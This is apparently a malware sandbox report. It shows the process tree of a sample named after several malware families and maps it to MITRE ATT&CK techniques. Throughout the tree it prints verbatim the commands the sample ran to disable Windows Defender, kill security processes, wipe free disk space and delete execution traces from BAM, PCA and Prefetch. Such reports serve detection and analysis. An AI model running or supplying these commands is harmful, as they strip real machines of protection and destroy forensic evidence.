  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "$bamBase = 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings'; Get-ChildItem $bamBase -ErrorAction SilentlyContinue | ForEach-Object { $sidPath = $_.PSPath; $winRegPath = $sidPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); (Get-ItemProperty $sidPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { $vName = $_.Name; & reg.exe delete \"$winRegPath\" /v \"$vName\" /f *>$null } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:644
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-540052884-2969440504-464782435-1000 /v \Device\HarddiskVolume2\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe /f
        5⤵
        Modifies registry key
        
        PID:2344
  - - C:\Windows\system32\net.exe
      "net" stop PcaSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3232
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop PcaSvc
        5⤵
        
        PID:3396
  - - C:\Windows\system32\reg.exe
      "reg" load HKLM\TempAmcache C:\Windows\AppCompat\Programs\Amcache.hve
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath 'C:\' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath 'D:\' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess '*' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionExtension '*' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5004
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:1844
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:624
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:4140
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3336
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisDrv
      4⤵
      Launches sc.exe
      PID:960
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisDrv start= disabled
      4⤵
      Launches sc.exe
      PID:2916
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      Launches sc.exe
      PID:1448
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable
      4⤵
      PID:1800
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable
      4⤵
      PID:2148
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable
      4⤵
      PID:4364
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable
      4⤵
      PID:2480
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /disable
      4⤵
      PID:4544
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      Launches sc.exe
      PID:4012
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      Launches sc.exe
      PID:4920
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      Launches sc.exe
      PID:3648
  - - C:\Windows\system32\sc.exe
      "sc" stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:4728
  - - C:\Windows\system32\sc.exe
      "sc" config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:3212
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:4320
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3700
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2576
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im SecurityHealthSystray.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1892
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2832
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsSense.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1664
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableIOAVProtection $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableScriptScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableArchiveScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableEmailScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRemovableDriveScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableScanningNetworkFiles $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -MAPSReporting Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -PUAProtection Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -EnableNetworkProtection Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ScanScheduleDay 8"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-WindowsOptionalFeature -Online -FeatureName Windows-Defender -NoRestart"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4188
    - - C:\Users\Admin\AppData\Local\Temp\F2E5E7BD-5FDB-4DF5-B86C-60532149883D\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\F2E5E7BD-5FDB-4DF5-B86C-60532149883D\dismhost.exe {43F9D0CC-65FF-4113-A7A1-0AF076B0B992}
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:4504
  - - C:\Windows\system32\reg.exe
      "reg" unload HKLM\TempAmcache
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3960
  - - C:\Windows\system32\net.exe
      "net" start PcaSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5896
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start PcaSvc
        5⤵
        
        PID:2448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Wait-Process -Id 3968 -ErrorAction SilentlyContinue; Start-Sleep -Seconds 1; for ($i=0; $i -lt 5; $i++) { Get-ChildItem 'C:\Windows\Prefetch' -Filter '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*.pf' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue; $pca = 'HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store'; if (Test-Path $pca) { (Get-ItemProperty $pca).PSObject.Properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { Remove-ItemProperty -Path $pca -Name $_.Name -ErrorAction SilentlyContinue } }; $bamPaths = @('HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings', 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\UserSettings'); foreach ($base in $bamPaths) { if (Test-Path $base) { Get-ChildItem $base -ErrorAction SilentlyContinue | ForEach-Object { $keyPath = $_.PSPath; $winPath = $keyPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); $props = (Get-ItemProperty $keyPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -toLower -match '2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo' }; foreach ($p in $props) { $valName = $p.Name; $regKeyPath = $winPath -replace 'HKLM:\\', 'HKLM\'; & reg.exe delete \"$regKeyPath\" /v \"$valName\" /f *>$null } } } }; Start-Sleep -Seconds 2 }; Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters' -Name 'EnablePrefetcher' -Value 3 -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of AdjustPrivilegeToken
      PID:2948
  - - C:\Windows\system32\auditpol.exe
      "auditpol" /set "/subcategory:Process Creation" /success:enable /failure:enable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Wait-Process -Id 3968 -ErrorAction SilentlyContinue; Start-Sleep -Seconds 1; for ($i=0; $i -lt 5; $i++) { Get-ChildItem 'C:\Windows\Prefetch' -Filter '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*.pf' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue; $pca = 'HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store'; if (Test-Path $pca) { (Get-ItemProperty $pca).PSObject.Properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { Remove-ItemProperty -Path $pca -Name $_.Name -ErrorAction SilentlyContinue } }; $bamPaths = @('HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings', 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\UserSettings'); foreach ($base in $bamPaths) { if (Test-Path $base) { Get-ChildItem $base -ErrorAction SilentlyContinue | ForEach-Object { $keyPath = $_.PSPath; $winPath = $keyPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); $props = (Get-ItemProperty $keyPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -toLower -match '2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo' }; foreach ($p in $props) { $valName = $p.Name; $regKeyPath = $winPath -replace 'HKLM:\\', 'HKLM\'; & reg.exe delete \"$regKeyPath\" /v \"$valName\" /f *>$null } } } }; Start-Sleep -Seconds 2 }; Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters' -Name 'EnablePrefetcher' -Value 3 -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of AdjustPrivilegeToken
      PID:4732
  - - C:\Windows\system32\auditpol.exe
      "auditpol" /set "/subcategory:Process Creation" /success:enable /failure:enable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "$bamBase = 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings'; Get-ChildItem $bamBase -ErrorAction SilentlyContinue | ForEach-Object { $sidPath = $_.PSPath; $winRegPath = $sidPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); (Get-ItemProperty $sidPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { $vName = $_.Name; & reg.exe delete \"$winRegPath\" /v \"$vName\" /f *>$null } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of AdjustPrivilegeToken
      PID:5444
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-540052884-2969440504-464782435-1000 /v \Device\HarddiskVolume2\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe /f
        5⤵
        Modifies registry key
        
        PID:5900
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:3420
  - - C:\Windows\system32\cipher.exe
      "cipher" /w: C:\
      4⤵
      PID:6116
  - - C:\Windows\system32\net.exe
      "net" stop PcaSvc
      4⤵
      PID:3424
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop PcaSvc
        5⤵
        
        PID:2576
  - - C:\Windows\system32\cipher.exe
      "cipher" /w: C:\
      4⤵
      PID:1260
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:1240
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "$bamBase = 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings'; Get-ChildItem $bamBase -ErrorAction SilentlyContinue | ForEach-Object { $sidPath = $_.PSPath; $winRegPath = $sidPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); (Get-ItemProperty $sidPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { $vName = $_.Name; & reg.exe delete \"$winRegPath\" /v \"$vName\" /f *>$null } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of AdjustPrivilegeToken
      PID:5832
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-540052884-2969440504-464782435-1000 /v \Device\HarddiskVolume2\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe /f
        5⤵
        Modifies registry key
        
        PID:5156
  - - C:\Windows\system32\net.exe
      "net" stop PcaSvc
      4⤵
      PID:4312
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop PcaSvc
        5⤵
        
        PID:5764
  - - C:\Windows\system32\reg.exe
      "reg" load HKLM\TempAmcache C:\Windows\AppCompat\Programs\Amcache.hve
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2012
  - - C:\Windows\system32\reg.exe
      "reg" unload HKLM\TempAmcache
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2004
  - - C:\Windows\system32\net.exe
      "net" start PcaSvc
      4⤵
      PID:6100
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start PcaSvc
        5⤵
        
        PID:5376
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-AutoConfig/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1632
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-Autoconfig/Diagnostic /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2112
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-Driver/Analytic /e:true
      4⤵
      PID:1260
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-MediaManager/Diagnostic /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5548
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLANConnectionFlow/Diagnostic /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3544
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WlanDlg/Analytic /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6092
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NCSI/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3564
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Diagnostics-Networking/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6044
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProfile/Operational /e:true
      4⤵
      PID:5796
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProfile/Diagnostic /e:true
      4⤵
      PID:5816
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkLocationWizard/Operational /e:true
      4⤵
      PID:5228
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-Connection-Broker /e:true
      4⤵
      PID:1892
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-Setup/Diagnostic /e:true
      4⤵
      PID:3032
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProvider/Operational /e:true
      4⤵
      PID:2964
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkBridge/Diagnostic /e:true
      4⤵
      PID:3416
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-and-Sharing-Center/Diagnostic /e:true
      4⤵
      PID:1724
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Networking-Correlation/Diagnostic /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4648
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiNetworkManager/Operational /e:true
      4⤵
      PID:5848
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Operational /e:true
      4⤵
      PID:1240
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Diagnostic /e:true
      4⤵
      PID:3604
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Tracing /e:true
      4⤵
      PID:1876
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Diagnostic-Network /e:true
      4⤵
      PID:5656
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NlaSvc/Operational /e:true
      4⤵
      PID:4564
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Dhcp-Client/Operational /e:true
      4⤵
      PID:4504
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Dhcp-Client/Admin /e:true
      4⤵
      PID:3268
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-DHCPv6-Client/Operational /e:true
      4⤵
      PID:5032
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-DHCPv6-Client/Admin /e:true
      4⤵
      PID:2220
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Dot3Svc/Operational /e:true
      4⤵
      PID:1672
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wired-AutoConfig/Operational /e:true
      4⤵
      PID:5556
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl "Windows Networking Vpn Plugin Platform/Operational" /e:true
      4⤵
      PID:552
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl "Windows Networking Vpn Plugin Platform/OperationalVerbose" /e:true
      4⤵
      PID:5948
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl "Network Isolation Operational" /e:true
      4⤵
      PID:6152
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiDisplay/Operational /e:true
      4⤵
      PID:6160
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiDirect/Operational /e:true
      4⤵
      PID:6168
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiHotspot/Operational /e:true
      4⤵
      PID:6176
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProvisioning/Operational /e:true
      4⤵
      PID:6184
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-ExecutionContext/Operational /e:true
      4⤵
      PID:6192
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Host-Network-Service-Operational /e:true
      4⤵
      PID:6200
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Host-Network-Service-Admin /e:true
      4⤵
      PID:6208
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-WindowsPhone-Connectivity-WiFiConnSvc-Channel /e:true
      4⤵
      PID:6216

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry